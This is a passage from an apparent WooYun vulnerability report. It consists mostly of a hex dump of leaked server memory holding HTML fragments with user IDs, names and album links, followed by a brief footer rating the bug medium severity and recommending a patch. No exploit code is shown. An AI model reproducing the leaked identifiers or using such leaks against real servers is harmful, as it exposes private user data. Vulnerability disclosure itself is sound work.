0540: 38 33 65 62 66 63 32 35 33 31 31 22 3E E9 BB 8E 83ebfc25311">...
0580: 32 37 2D 34 38 65 31 2D 39 39 62 64 2D 64 38 33 27-48e1-99bd-d83
05c0: 20 E5 8F 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F ......</span></
0600: 31 32 30 31 38 32 63 2D 33 66 32 37 2D 34 38 65 120182c-3f27-48e
0640: 32 30 31 38 32 63 2D 33 66 32 37 2D 34 38 65 31 20182c-3f27-48e1
0680: 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 div class="topic
06c0: 72 2F 3E 5E 5F 5E EF BC 8C E5 A4 A9 E4 BD BF E7 r/>^_^..........
0700: 3E 3C 2F 64 69 76 3E 3C 2F 64 69 76 3E 3C 64 69 ></div></div><di
0740: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
0780: 9E 3C 2F 61 3E 20 3C 61 20 68 72 65 66 3D 22 41 .</a> <a href="A
07c0: 66 63 32 35 33 31 31 22 3E 47 44 30 3C 2F 61 3E fc25311">GD0</a>
0800: 76 3E 3C 61 20 63 6C 61 73 73 3D 22 70 68 6F 74 v><a class="phot
0840: 39 39 62 64 2D 64 38 33 65 62 66 63 32 35 33 31 99bd-d83ebfc2531
0880: 39 62 64 2D 64 38 33 65 62 66 63 32 35 33 31 31 9bd-d83ebfc25311
08c0: 22 3E 28 E9 BB 8E E9 9C 9E 29 E9 80 81 E4 BA 86 ">(......)......
0900: E9 A1 BE EF BC 8C E7 94 9F E6 97 A5 E5 BF AB E4 ................
0940: 63 6C 61 73 73 3D 22 74 6F 70 69 63 22 3E 3C 64 class="topic"><d
0980: 69 64 3D 62 31 32 30 31 38 32 63 2D 33 66 32 37 id=b120182c-3f27
09c0: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
0a00: 64 69 76 3E 3C 73 70 61 6E 3E 32 30 31 34 2D 37 div><span>2014-7
0a40: 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 href="Album.aspx
0a80: 3C 69 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 <img src="Images
0ac0: 67 22 20 63 6C 61 73 73 3D 22 63 6F 6D 5F 69 6D g" class="com_im
0b00: A9 E4 BD BF E7 9A 84 E7 9C B7 E9 A1 BE 5D E7 BB .............]..
0b40: 7E 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 69 76 ~<br/></div><div
0b80: 3C 64 69 76 20 20 63 6C 61 73 73 3D 22 6E 61 6D <div class="nam
0bc0: 36 39 2D 34 32 63 37 2D 38 63 32 64 2D 62 36 66 69-42c7-8c2d-b6f
0c00: 73 6F 6E 69 64 3D 62 62 35 62 37 38 64 61 2D 64 sonid=bb5b78da-d
0c40: 73 70 61 6E 3E 32 30 31 34 2D 37 2D 32 35 20 39 span>2014-7-25 9
0c80: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
0cc0: 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 65 72 73 src="Images/Pers
0d00: 61 73 73 3D 22 63 6F 6D 5F 69 6D 67 22 20 20 2F ass="com_img" /
0d40: BE 8E E6 89 8B E8 A2 8B 5D E7 BB 99 28 E7 8E 8B ........]...(...
0d80: 3C 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 <div class="topi
0dc0: 65 72 73 6F 6E 69 64 3D 38 35 66 63 62 38 30 62 ersonid=85fcb80b
0e00: 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F ref="Album.aspx?
0e40: BA A7 E5 93 81 E9 83 A8 3C 2F 61 3E 3C 2F 64 69 ........</a></di
0e80: 63 6C 61 73 73 3D 22 70 68 6F 74 6F 22 20 68 72 class="photo" hr
0ec0: 64 36 33 65 32 61 61 37 37 61 34 38 22 3E 3C 69 d63e2aa77a48"><i
0f00: 36 33 65 32 61 61 37 37 61 34 38 2E 6A 70 67 22 63e2aa77a48.jpg"
0f40: 8E E9 87 91 E7 8F 82 29 E9 80 81 E4 BA 86 5B E7 .......)......[.
0f80: 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E "topic_l"></div>
0fc0: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
1000: 31 61 22 3E E6 B1 AA E7 9B 88 3C 2F 61 3E 20 3C 1a">......</a> <
1040: 32 62 66 2D 63 30 31 63 61 61 35 30 35 32 31 61 2bf-c01caa50521a
1080: 2D 32 35 20 39 3A 31 36 3A 30 31 20 E5 8F 91 E8 -25 9:16:01 ....
10c0: 3F 70 65 72 73 6F 6E 69 64 3D 36 37 33 61 65 66 ?personid=673aef
1100: 2F 50 65 72 73 6F 6E 73 2F 4E 6F 50 69 63 2E 70 /Persons/NoPic.p
1140: 28 E6 B1 AA E7 9B 88 29 E9 80 81 E4 BA 86 5B E7 (......)......[.
1180: 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E "topic_l"></div>
11c0: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
1200: 31 61 22 3E E6 B1 AA E7 9B 88 3C 2F 61 3E 20 3C 1a">......</a> <
1240: 32 62 66 2D 63 30 31 63 61 61 35 30 35 32 31 61 2bf-c01caa50521a
1280: 2D 32 35 20 39 3A 31 35 3A 34 39 20 E5 8F 91 E8 -25 9:15:49 ....
12c0: 3F 70 65 72 73 6F 6E 69 64 3D 36 37 33 61 65 66 ?personid=673aef
1300: 2F 50 65 72 73 6F 6E 73 2F 4E 6F 50 69 63 2E 70 /Persons/NoPic.p
1340: 28 E6 B1 AA E7 9B 88 29 E9 80 81 E4 BA 86 5B E7 (......)......[.
1380: 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E 3C 2F 64 pic_l"></div></d
13c0: 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 href="Album.asp
1400: 3E E5 8D 93 E9 9F AC 3C 2F 61 3E 20 3C 61 20 68 >......</a> <a h
1440: 2D 33 34 35 65 30 64 30 35 32 38 32 31 22 3E E5 -345e0d052821">.
1480: 20 32 31 3A 32 32 3A 31 34 20 E5 8F 91 E8 A1 A8 21:22:14 ......
14c0: 65 72 73 6F 6E 69 64 3D 64 31 63 66 39 63 32 31 ersonid=d1cf9c21
1500: 65 72 73 6F 6E 73 2F 64 31 63 66 39 63 32 31 2D ersons/d1cf9c21-
1540: 20 20 2F 3E 3C 2F 61 3E 3C 64 69 76 20 63 6C 61 /></a><div cla
1580: E7 8E 89 E8 B4 A2 29 3C 62 72 2F 3E 68 61 70 70 ......)<br/>happ
15c0: 3E 3C 2F 64 69 76 3E 3C 64 69 76 20 63 6C 61 73 ></div><div clas
1600: 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 64 .aspx?personid=d
1640: 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 <a href="Album.a
1680: 31 22 3E E5 BA 94 E7 94 A8 E8 BD AF E4 BB B6 E7 1">.............
16c0: 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F 64 69 76 ....</span></div
1700: 39 63 32 31 2D 30 35 35 33 2D 34 39 39 33 2D 38 9c21-0553-4993-8
1740: 63 32 31 2D 30 35 35 33 2D 34 39 39 33 2D 38 39 c21-0553-4993-89
1780: 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 5F 6D 22 class="topic_m"
17c0: 68 61 70 70 79 20 62 69 72 74 68 64 61 79 21 3C happy birthday!<
1800: 63 6C 61 73 73 3D 22 74 6F 70 69 63 22 3E 3C 64 class="topic"><d
1840: 69 64 3D 64 31 63 66 39 63 32 31 2D 30 35 35 33 id=d1cf9c21-0553
1880: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
18c0: E4 BB B6 E7 A0 94 E5 8F 91 E4 B8 AD E5 BF 83 3C ...............<
1900: 2F 64 69 76 3E 3C 61 20 63 6C 61 73 73 3D 22 70 /div><a class="p
1940: 39 33 2D 38 39 63 66 2D 33 34 35 65 30 64 30 35 93-89cf-345e0d05
1980: 33 2D 38 39 63 66 2D 33 34 35 65 30 64 30 35 32 3-89cf-345e0d052
19c0: 63 5F 6D 22 3E 28 E5 8D 93 E9 9F AC 29 E9 80 81 c_m">(......)...
1a00: 61 79 21 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 ay!<br/></div><d
1a40: 22 3E 3C 64 69 76 20 20 63 6C 61 73 73 3D 22 6E "><div class="n
1a80: 34 33 35 64 2D 34 33 66 31 2D 38 31 62 63 2D 64 435d-43f1-81bc-d
1ac0: 65 72 73 6F 6E 69 64 3D 62 39 65 63 62 35 32 64 ersonid=b9ecb52d
1b00: 3E 3C 73 70 61 6E 3E 32 30 31 34 2D 37 2D 32 34 ><span>2014-7-24
1b40: 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 ef="Album.aspx?p
1b80: 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 mg src="Images/P
1bc0: 20 63 6C 61 73 73 3D 22 63 6F 6D 5F 69 6D 67 22 class="com_img"
1c00: 94 9F E6 97 A5 E8 9B 8B E7 B3 95 5D E7 BB 99 28 ...........]...(
1c40: 3D 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 ="topic_l"></div
1c80: 76 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D v><a href="Album
1cc0: 61 34 38 22 3E E6 9D 8E E9 87 91 E7 8F 82 3C 2F a48">.........</
1d00: 30 32 2D 39 39 64 36 2D 64 36 33 65 32 61 61 37 02-99d6-d63e2aa7
1d40: 20 E5 8F 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F ......</span></
1d80: 35 66 63 62 38 30 62 2D 62 64 65 66 2D 34 63 30 5fcb80b-bdef-4c0
1dc0: 66 63 62 38 30 62 2D 62 64 65 66 2D 34 63 30 32 fcb80b-bdef-4c02
1e00: 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 div class="topic
1e40: 29 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 69 76 )<br/></div><div
1e80: 2F 64 69 76 3E 3C 21 2D 2D 65 6E 64 20 74 6F 64 /div><!--end tod
1ec0: 74 22 3E 0D 0A 20 20 20 20 20 20 20 20 20 20 20 t">..
1f00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1f40: 73 70 61 6E 3E 31 32 37 3C 2F 73 70 61 6E 3E E4 span>127</span>.
1f80: 6D 6D 65 6E 74 2E 61 73 70 78 3F 74 69 64 3D 32 mment.aspx?tid=2
1fc0: 3C 74 65 78 74 61 72 65 61 20 63 6C 61 73 73 3D <textarea class=
2000: BA 94 3C 2F 74 65 78 74 61 72 65 61 3E 0D 0A 20 ..</textarea>..
2040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2080: 79 6C 65 3D 22 62 61 63 6B 67 72 6F 75 6E 64 3A yle="background:
20c0: 6E 22 20 6F 6E 63 6C 69 63 6B 3D 22 61 64 64 63 n" onclick="addc
2100: 22 20 76 61 6C 75 65 3D 22 E6 8F 90 E4 BA A4 22 " value="......"
2140: 3C 21 2D 2D 65 64 6E 20 63 6F 6E 5F 31 2D 2D 3E <!--edn con_1-->
2180: 0A 20 20 20 20 20 20 20 20 20 20 20 20 09 3C 75 . .<u
21c0: 22 6F 6E 22 3E 3C 61 20 68 72 65 66 3D 22 6A 61 "on"><a href="ja
2200: 20 20 20 20 20 20 20 20 20 09 0D 0A 20 20 20 20 ...
2240: 3B 22 20 73 74 79 6C 65 3D 22 77 69 64 74 68 3A ;" style="width:
2280: 81 E5 AF 84 E8 AF AD 3C 2F 73 70 61 6E 3E 3C 2F .......</span></
22c0: 61 76 2D 2D 3E 0D 0A 20 20 20 20 20 20 20 20 20 av-->..
2300: 34 5F 63 6F 6E 22 20 69 64 3D 22 61 63 74 39 22 4_con" id="act9"
2340: 6F 6D 2E 61 73 70 78 3F 69 64 3D 31 32 33 34 26 om.aspx?id=1234&
2380: 3C 6C 69 3E 3C 61 20 68 72 65 66 3D 22 41 72 74 <li><a href="Art
23c0: E6 8A A5 E3 80 8B 32 30 31 33 2D 30 37 2D 32 39 ......2013-07-29
2400: 32 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 E3 80 2&frid=0">... ..
2440: 72 74 69 63 6C 65 57 69 74 68 43 6F 6D 2E 61 73 rticleWithCom.as
2480: 30 37 3C 2F 61 3E 3C 2F 6C 69 3E 3C 61 20 63 6C 07</a></li><a cl
24c0: 20 3E E6 9B B4 E5 A4 9A 3C 2F 61 3E 20 20 20 20 >......</a>
2500: 20 20 20 20 20 20 3C 2F 75 6C 3E 0D 0A 20 20 20 </ul>..
2540: 3D 22 63 6F 6E 34 5F 63 6F 6E 22 20 69 64 3D 22 ="con4_con" id="
2580: 68 72 65 66 3D 22 41 72 74 69 63 6C 65 57 69 74 href="ArticleWit
25c0: E6 9B B4 E5 A4 A7 E7 9A 84 E8 80 83 E9 AA 8C EF ................
2600: 31 36 39 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 169&frid=0">...
2640: E6 97 B6 E9 97 B4 E6 9B B4 E5 80 BC E9 92 B1 EF ................
2680: 31 31 31 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 111&frid=0">...
26c0: E4 B8 96 E7 95 8C E5 A4 A7 E6 88 98 E6 8E A5 E8 ................
2700: 66 3D 22 41 72 74 69 63 6C 65 57 69 74 68 43 6F f="ArticleWithCo
2740: E3 80 91 E2 80 94 E2 80 94 39 E5 91 A8 E5 B9 B4 .........9......
2780: 65 66 3D 22 41 63 74 69 76 65 4C 69 73 74 2E 61 ef="ActiveList.a
27c0: 20 20 20 20 3C 2F 75 6C 3E 0D 0A 20 20 20 20 20 </ul>..
2800: 76 3E 3C 21 2D 2D 65 6E 64 20 63 6F 6E 5F 34 2D v><!--end con_4-
2840: 20 63 6C 61 73 73 3D 22 63 6F 6E 5F 32 22 3E 0D class="con_2">.
2880: 09 3C 64 69 76 20 63 6C 61 73 73 3D 22 63 6F 6E .<div class="con
28c0: 5F 72 74 22 3E 3C 2F 64 69 76 3E 0D 0A 20 20 20 _rt"></div>..
2900: 69 76 20 63 6C 61 73 73 3D 22 6A 6F 62 65 72 22 iv class="jober"
2940: A4 9A 3C 2F 61 3E 3C 2F 64 69 76 3E 0D 0A 20 20 ..</a></div>..
2980: 20 20 20 20 09 3C 64 69 76 20 63 6C 61 73 73 3D .<div class=
29c0: 73 3D 22 72 65 63 65 6E 74 5F 6A 6F 62 22 3E 0D s="recent_job">.
2a00: 3D 22 72 65 63 65 6E 74 65 6E 74 72 79 22 20 3E ="recententry" >
2a40: 20 20 20 20 20 20 3C 2F 64 69 76 3E 0D 0A 20 20 </div>..
2a80: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
2ac0: 20 20 20 20 20 20 20 20 20 3C 64 69 76 20 63 6C <div cl
2b00: 70 78 22 3E E6 9B B4 E5 A4 9A 3C 2F 61 3E 3C 2F px">......</a></
2b40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2b80: 20 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 61 <div class="a
2bc0: 68 6F 74 6F 22 3E 0D 0A 20 20 20 20 20 20 20 20 hoto">..
2c00: 6F 6E 69 64 3D 35 62 61 32 32 36 33 36 2D 38 30 onid=5ba22636-80
2c40: 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 65 72 73 src="Images/Pers
2c80: 61 73 73 3D 22 61 6C 6C 70 68 6F 74 6F 5F 69 6D ass="allphoto_im
2cc0: 38 30 36 63 2D 34 63 34 36 2D 61 63 35 32 2D 62 806c-4c46-ac52-b
2d00: 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 31 66 38 spx?personid=1f8
2d40: 6B 22 3E 3C 69 6D 67 20 73 72 63 3D 22 49 6D 61 k"><img src="Ima
2d80: 2E 6A 70 67 22 20 63 6C 61 73 73 3D 22 61 6C 6C .jpg" class="all
2dc0: 66 38 30 36 37 33 65 2D 35 64 36 65 2D 34 37 36 f80673e-5d6e-476
2e00: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
2e40: 74 3D 22 5F 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 t="_blank"><img
2e80: 30 37 62 61 33 32 66 62 2E 6A 70 67 22 20 63 6C 07ba32fb.jpg" cl
2ec0: 72 73 6F 6E 69 64 3D 35 36 34 37 30 32 62 36 2D rsonid=564702b6-
2f00: 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 <a href="Album.a
2f40: 66 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 6E f" target="_blan
2f80: 63 38 39 2D 31 39 61 64 30 66 62 37 63 61 33 66 c89-19ad0fb7ca3f
2fc0: 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 62 .aspx?personid=b
3000: 61 3E 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 a></li><li><a hr
3040: 30 37 30 32 37 31 32 61 62 37 63 66 22 20 74 61 0702712ab7cf" ta
3080: 61 64 64 62 2D 34 38 31 62 2D 61 33 33 34 2D 30 addb-481b-a334-0
30c0: 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 href="Album.aspx
3100: E5 B4 94 E6 98 A5 E5 BF 83 3C 2F 61 3E 3C 2F 6C .........</a></l
3140: 2D 34 32 32 36 2D 39 33 39 64 2D 31 63 37 65 32 -4226-939d-1c7e2
3180: 73 2F 63 63 32 36 31 64 37 63 2D 32 65 33 34 2D s/cc261d7c-2e34-
31c0: 20 20 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D /></a><a href=
3200: 65 32 32 36 35 34 32 33 64 22 3E E5 88 98 E4 BF e2265423d">.....
3240: 37 64 39 65 61 38 2D 62 32 63 62 2D 34 63 31 38 7d9ea8-b2cb-4c18
3280: 61 67 65 73 2F 50 65 72 73 6F 6E 73 2F 37 38 37 ages/Persons/787
32c0: 6C 70 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C lphoto_img" /><
3300: 31 38 2D 61 35 37 63 2D 63 36 31 30 32 63 61 39 18-a57c-c6102ca9
3340: 70 65 72 73 6F 6E 69 64 3D 61 64 66 39 38 31 31 personid=adf9811
3380: 69 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F img src="Images/
33c0: 22 20 63 6C 61 73 73 3D 22 61 6C 6C 70 68 6F 74 " class="allphot
3400: 31 31 65 2D 37 36 62 62 2D 34 66 39 39 2D 62 30 11e-76bb-4f99-b0
3440: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
3480: 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 73 72 63 3D blank"><img src=
34c0: 38 65 30 35 2E 6A 70 67 22 20 63 6C 61 73 73 3D 8e05.jpg" class=
3500: 69 64 3D 34 34 62 30 33 65 39 31 2D 33 32 66 33 id=44b03e91-32f3
3540: 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 a href="Album.as
3580: 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 6E 6B " target="_blank
35c0: 61 61 2D 31 38 61 35 65 31 30 66 65 63 64 37 2E aa-18a5e10fecd7.
3600: 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 34 35 aspx?personid=45
3640: 3E 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 65 ></li><li><a hre
3680: 62 39 61 38 38 32 37 37 30 61 36 22 20 74 61 72 b9a882770a6" tar
36c0: 63 61 30 2D 34 66 63 36 2D 61 38 34 63 2D 38 62 ca0-4fc6-a84c-8b
3700: 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F ref="Album.aspx?
3740: BB BB E6 A2 93 E6 B6 B5 3C 2F 61 3E 3C 2F 6C 69 ........</a></li
3780: 34 66 33 30 2D 61 63 36 38 2D 64 62 35 38 37 30 4f30-ac68-db5870
37c0: 2F 62 34 63 65 34 62 62 39 2D 39 61 35 30 2D 34 /b4ce4bb9-9a50-4
3800: 20 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D 22 /></a><a href="
3840: 37 30 36 31 36 33 63 38 22 3E E8 A2 81 E6 85 A7 706163c8">......
3880: 34 33 30 63 35 2D 37 30 37 32 2D 34 38 32 36 2D 430c5-7072-4826-
38c0: 67 65 73 2F 50 65 72 73 6F 6E 73 2F 62 33 64 34 ges/Persons/b3d4
3900: 70 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C 2F photo_img" /></
3940: 36 2D 39 39 38 66 2D 30 32 63 36 34 61 63 31 66 6-998f-02c64ac1f
3980: 65 72 73 6F 6E 69 64 3D 62 61 63 62 32 64 37 31 ersonid=bacb2d71
39c0: 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 mg src="Images/P
3a00: 20 63 6C 61 73 73 3D 22 61 6C 6C 70 68 6F 74 6F class="allphoto
3a40: 37 31 2D 65 64 36 62 2D 34 33 63 66 2D 62 65 61 71-ed6b-43cf-bea
3a80: 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E lbum.aspx?person
3ac0: 22 5F 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 73 72 "_blank"><img sr
3b00: 63 66 36 65 36 62 2E 6A 70 67 22 20 63 6C 61 73 cf6e6b.jpg" clas
3b40: 6F 6E 69 64 3D 62 38 39 36 34 39 39 36 2D 39 63 onid=b8964996-9c
3b80: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
3bc0: 33 66 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 3f" target="_bla
3c00: 38 65 37 30 2D 30 39 34 34 64 30 64 34 32 38 33 8e70-0944d0d4283
3c40: 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D m.aspx?personid=
3c80: 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 65 66 </li><li><a href
3cc0: 61 32 62 63 30 63 30 64 33 30 22 20 74 61 72 67 a2bc0c0d30" targ
3d00: 35 33 2D 34 66 38 61 2D 38 38 39 36 2D 35 62 61 53-4f8a-8896-5ba
3d40: 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 ef="Album.aspx?p
3d80: A8 E6 B3 BD E9 94 8B 3C 2F 61 3E 3C 2F 6C 69 3E .......</a></li>
3dc0: 33 63 35 2D 62 35 37 35 2D 32 35 62 65 39 61 66 3c5-b575-25be9af
3e00: 37 32 34 63 63 62 31 37 2D 39 34 63 63 2D 34 33 724ccb17-94cc-43
3e40: 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D 22 41 /></a><a href="A
3e80: 61 66 33 36 63 33 33 22 3E E8 8C B9 E9 9B AA E8 af36c33">.......
3ec0: 66 61 63 61 2D 31 32 65 64 2D 34 37 35 33 2D 39 faca-12ed-4753-9
3f00: 65 73 2F 50 65 72 73 6F 6E 73 2F 31 30 36 39 66 es/Persons/1069f
3f40: 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C 2F 61 hoto_img" /></a
3f80: 2D 39 30 36 35 2D 30 64 36 62 63 37 66 30 39 38 -9065-0d6bc7f098
3fc0: 6E 69 64 3D 63 32 31 32 64 35 35 30 2D 62 39 66 nid=c212d550-b9f

修复方案:

打补丁!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-09-29 10:55

厂商回复:

最新状态:

暂无